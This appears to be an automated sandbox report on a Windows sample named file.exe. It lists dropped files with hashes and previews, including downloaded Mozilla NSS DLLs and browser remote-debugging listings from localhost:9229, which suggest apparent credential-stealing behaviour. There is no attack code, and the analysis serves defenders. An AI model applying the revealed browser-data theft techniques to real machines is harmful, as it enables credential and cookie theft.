Preview:	...2lI.5.<C.;.{....._+jE.`..}....-...#.A...KR...l.M0,s...).9..........x.......F.b......jU....y.h'....L<.....Z..%...._...g.4yu...........'c=..I0..........qW..<:N....<..U.,Mi..._......'(..U.9.!........u....7...4. ..Ea...4.+.79k.!T.-5W..!..@+..$..t\|1.E..7F...+..xf....z&_Q...-.B...)8R.c....0.......B.M.Z...0....&v..<..H...3.....N7K.T..D>.8......P.D.J.I4.B.H.VHy...@.Wc.Cl..6aD..j.....E..4..mI..X]2.GH.G.L...E.F.=.J...@}j~.#...'Y.L[z..1.W/.Ck....L..X........J.NYd........>...N.F..z.{nZ~d.N..../..6.\L...Q...+.w..p...>.S.iG...0]..8....S..)`B#.v..^..T.?...Z.rz.D'.!.T.w....S..8....V.4.u.K.V.......W.6s...Y.).[.c.X.S..........5.X7F...tQ....z.L.X..(3#j...8...i.[..j$.Q....0...]"W.c.H..n..2Te.ak...c..-F(..W2.b....3.]......c.d\|.../....._...f.....d....Im..g.b..R.q.<xx...i2..r.I()Iat..b.j.r@K.+5..C.....nJ.>P,.V@.....s.4.3..O.r.....smd7...L.....].u&1../t.*.......uXb...=@.....wv......]....#.{$.w......i.....\|.....?....E7...}$+..t).E.U..Q..~.`.)..Y@.6.h.......%(

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\local\uriCache

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	9
Entropy (8bit):	3.169925001442312
Encrypted:	false
SSDEEP:	3:CMzOn:CM6
MD5:	B6F7A6B03164D4BF8E3531A5CF721D30
SHA1:	A2134120D4712C7C629CDCEEF9DE6D6E48CA13FA
SHA-256:	3D6F3F8F1456D7CE78DD9DFA8187318B38E731A658E513F561EE178766E74D39
SHA-512:	4B473F45A5D45D420483EA1D9E93047794884F26781BBFE5370A554D260E80AD462E7EEB74D16025774935C3A80CBB2FD1293941EE3D7B64045B791B365F2B63
Malicious:	false
Preview:	uriCache_

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\local\uriCache_

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	179
Entropy (8bit):	5.009455046491565
Encrypted:	false
SSDEEP:	3:YTyLSmafBoTfIeRDHtDozRLuLgfGBkGAeekVy8HfzXNPIAclVFUWSDV:YWLSGTt1o9LuLgfGBPAzkVj/T8lfUWO
MD5:	1909F48F47277001E1B20C7E4FCE33C4
SHA1:	8F5ED8B9FCD2F855F7FD28C74628B9D6D5D5009C
SHA-256:	1716BE9A69DC665B48256512714DAB19001A17DEC93E353C9938BC6119D034CE
SHA-512:	3DFFBEDF0150F7C98EA60261739B9705DD0791A93D69368FBE61477D84A85FD793A6B83B18CC9BCEBF57CF5CFB54F551D213EA15F9801FBCB579DB601E6E212F
Malicious:	false
Preview:	{"version":1,"cache_data":[{"file_hash":"da2d278eafa98c1f","server_context":"1;f94c025f-7523-6972-b613-ce2c246c55ce;unkn:100;0.01","result":1,"expiration_time":1730282363551816}]}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Variations

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	86
Entropy (8bit):	4.3751917412896075
Encrypted:	false
SSDEEP:	3:YQ3JYq9xSs0dMEJAELJ2rjozQw:YQ3Kq9X0dMgAEwj2
MD5:	16B7586B9EBA5296EA04B791FC3D675E
SHA1:	8890767DD7EB4D1BEAB829324BA8B9599051F0B0
SHA-256:	474D668707F1CB929FEF1E3798B71B632E50675BD1A9DCEAAB90C9587F72F680
SHA-512:	58668D0C28B63548A1F13D2C2DFA19BCC14C0B7406833AD8E72DFC07F46D8DF6DED46265D74A042D07FBC88F78A59CB32389EF384EC78A55976DFC2737868771
Malicious:	false
Preview:	{"user_experience_metrics.stability.exited_cleanly":false,"variations_crash_streak":2}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\bb869a37-6275-484c-bb93-08eb124783c6.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	46083
Entropy (8bit):	6.086987675910321
Encrypted:	false
SSDEEP:	768:XMkbJrT8IeQcrQgx9aiMulhDO6vP6OBMO8GSHDZhy1DhSCAoXGoup1Xl3jVzXr4V:XMk1rT8HR9aZ6001sRoXhu3VlXr4V
MD5:	B65A5879ACEC0B1011D0C2AB4158E707
SHA1:	981E6A00CCC6CEA28ADC062C7C25D5280F54CEF7
SHA-256:	9ECDAC9304CE424A8FD511CD0BFB2606EA8F143CC51EE3290B3893D7C24BD7EF
SHA-512:	D1B4FDE1F52039B0BA31086CDE718C86DC8A6D4C0BEA413E16CFC7D42D947208CAFAA2B24119D0BFE66D877D807353BA2CFE7646EA9BD0C403B39257155A0B48
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","browser":{"browser_build_version":"117.0.2045.47","browser_version_of_last_seen_whats_new":"117.0.2045.47","last_seen_whats_new_page_version":"117.0.2045.47"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"desktop_session_duration_tracker":{"last_session_end_timestamp":"1730181564"},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMsEX9JMK3GLbeAvNjhrlo5GOJiTA/oXLTdG6qXtmMBDiyS59PvY7eCklyb4QcfFi7tpdwu3VBt1XNor

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\fd1152d1-72cd-4987-a252-b8b762b7e034.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090776521769327
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBMJwuF9hDO6vP6O+Mtbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynE16Ntbz8hu3VlXr4CRo1
MD5:	04B69795C6E7A162351B9C0C38DD8919
SHA1:	F9A00A13CAF438DA05035DB10287F94F75025372
SHA-256:	237BC5AE28EFBC1774D496F687EC0697B042D5095B7D58A8E2069CE511D01261
SHA-512:	462909EE19BB26127E0A300D47B99CDF54184D27BF6421F7FCB326A92FF93E40AC4F19CB58E1056698700FAB54DBBC121349320372CF740CB3594DF717A1BDD1
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\5a2a7058cf8d1e56c20e6b19a7c48eb2386d141b.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2278
Entropy (8bit):	3.8523854567392286
Encrypted:	false
SSDEEP:	48:uiTrlKxrgxm/yxl9Il8uTi030P0w/R3qakLyM+CkyYjd1rc:mN/WYX00w/Yak4CUE
MD5:	E8F81FA44C03BD4622D43A50EEBB0830
SHA1:	A51F1591EACE8C42A18998818F45CB82C9C20464
SHA-256:	91A787035A2B2076C5E74DA9E5E34A277C492985C94D62F0D394621DCB740B3B
SHA-512:	0AAC3D79C3B0E3E00B9917681B64F4BA9C5C847A613C560EDD63CF360CF487D1C819EF02A6D25E9BF58969282460712FAE536D7B4582A53F45F9C39CDAB8866C
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".W.i.p.w.W.M.+.N.H.l.b.C.D.m.s.Z.p.8.S.O.s.j.h.t.F.B.s.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.M.E.C.F.d.A.p.2.w.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.A.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.a.E.B.Q.y.B.

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\cf7513a936f7effbb38627e56f8d1fce10eb12cc.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4622
Entropy (8bit):	3.9994004375163414
Encrypted:	false
SSDEEP:	96:lMYjam+ewZ37poF3PNZhqsKpij+EOjvLalzlZDBX:yEaBTSl/qsyLvmlJ9B
MD5:	3E6A0028510C86D69AE9121A900414F0
SHA1:	5E0177DDA43082C463F7873D233B0A4E709BF831
SHA-256:	3679F038B1EF15645E95F3A3825328EC10C8CF452930B4101C9849BD1C63A5DF
SHA-512:	56BECA28FEFCAF07E4A418291CBBFDED74E2B4157F13C0C7047FA51D9AE1C2F04E7CE2FE2B956BC48D60F247EA5744B8E3E1308849499BF181DB6160FF6F27E4
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".z.3.U.T.q.T.b.3.7./.u.z.h.i.f.l.b.4.0.f.z.h.D.r.E.s.w.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".H.t.k.Y.+.8.c.p.2.w.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.w.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.a.E.B.Q.y.B.

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\e8ddd4cbd9c0504aace6ef7a13fa20d04fd52408.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2684
Entropy (8bit):	3.9138495954792036
Encrypted:	false
SSDEEP:	48:uiTrlKx68Wa7xoxl9Il8uTi43ufMDtvebes3Oi4JydlLYhM816RHcl1KCwwEd/vc:aKYTuEBvQe34lchMXql1KfG
MD5:	FF14142E074276169AA45DC8578DA847
SHA1:	01F3FDE9F84C45921D7C19577605ACC380EE55BE
SHA-256:	4197E2E56627657FD04DB86911108655AF87E9D9B5847DC463D1C8ED5ABD5D01
SHA-512:	86B4B7D0CF4C3CA46D639BFE26728F6C632B9B7D93BFCE152B762FA1D314001C3B6A25EEACDBA5E105232CB64E32D7527532CE8291C6AD5A1164773E1B5B4A61
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".6.N.3.U.y.9.n.A.U.E.q.s.5.u.9.6.E./.o.g.0.E./.V.J.A.g.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".0.g.N.K.K.5.l.I.3.A.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.A.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.a.E.B.Q.y.B.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\json[1].json

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	4638
Entropy (8bit):	5.457164437790949
Encrypted:	false
SSDEEP:	96:6NnQGHQlNnQ8bQKkNnQw9QyNnQo2922dgEQo2GNnQTkQONnQpvhDQQNnQAwQpNng:6NONRkNTNMxNSuN47NHlNdN2X
MD5:	91707B65F93CD081E8AD9E408E59D3B1
SHA1:	8BD4DDD83DF52270068F8E6D6C96A438DFDC4701
SHA-256:	89DC21DAA2EBDAB321BB27A5DBDD7F915C42799AC37B97320070185B29E347EF
SHA-512:	67354A719CE5C6D5E85462A077A39B698900018A2036605DC7163FFD807F70EA691586565F31022B5AEF91C4C32310E972B45A8ADD7438AD0912ADE155B073DF
Malicious:	false
Preview:	[ {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/60B8677C4CFAB2CCE0675AF7121CED62",.. "id": "60B8677C4CFAB2CCE0675AF7121CED62",.. "title": "Microsoft Voices",.. "type": "background_page",.. "url": "chrome-extension://jdiccldimpdaibmpdkjnbmckianbfold/_generated_background_page.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/60B8677C4CFAB2CCE0675AF7121CED62"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/793A19266400A224E6A4818664407B76",.. "id": "793A19266400A224E6A4818664407B76",.. "title": "WebRTC Internals Extension",.. "type": "background_page",.. "url": "chrome-extension://ncbjelpjchkpbikbpkcchkhkblodoama/_generated_background_page.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/793A19266400A224E6A4818664407B76"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\freebl3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\json[1].json

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1787
Entropy (8bit):	5.359738184777838
Encrypted:	false
SSDEEP:	48:SfNaoQdTEQ2fNaoQwQBfNaoQROEQRcfNaoQxm0UrU0U8Qw:6NnQdTEQeNnQwQdNnQdQSNnQs0UrU0Uo
MD5:	895A5A85C48AF7CC196E2F73E9114040
SHA1:	3B14E3E94CB9A7A64234344D3A79453B909AA7BB
SHA-256:	A8A26ADEFD2170B323E56F8646D18D34F98141DBDCF41B03DFC2DFEB0DECD94C
SHA-512:	BE41F98FF9FA9FDADBAFE1C68EF6E3ECC0849437AB3225EE2E7B35F4A2D7902B32EF20B3067E1ACBE09B667E61ABB58ED59668D8314A9A1D5C385C56CBCC941F
Malicious:	false
Preview:	[ {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/9AEBB350A53E157F4AEA692CF436AD40",.. "id": "9AEBB350A53E157F4AEA692CF436AD40",.. "title": "Google Network Speech",.. "type": "background_page",.. "url": "chrome-extension://neajdppkdcdipfabeoofebfddakdcjhd/_generated_background_page.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/9AEBB350A53E157F4AEA692CF436AD40"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/0484AE9C09C559BE28A45BB3EC08040E",.. "id": "0484AE9C09C559BE28A45BB3EC08040E",.. "title": "Google Hangouts",.. "type": "background_page",.. "url": "chrome-extension://nkeimhogjdpnpccoofpliimaahmaaome/background.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/0484AE9C09C559BE28A45BB3EC08040E"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtoo

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\mozglue[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\msvcp140[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\nss3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\softokn3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\vcruntime140[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\24380fd3-6b2a-4df7-b660-3fecdd76d851.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
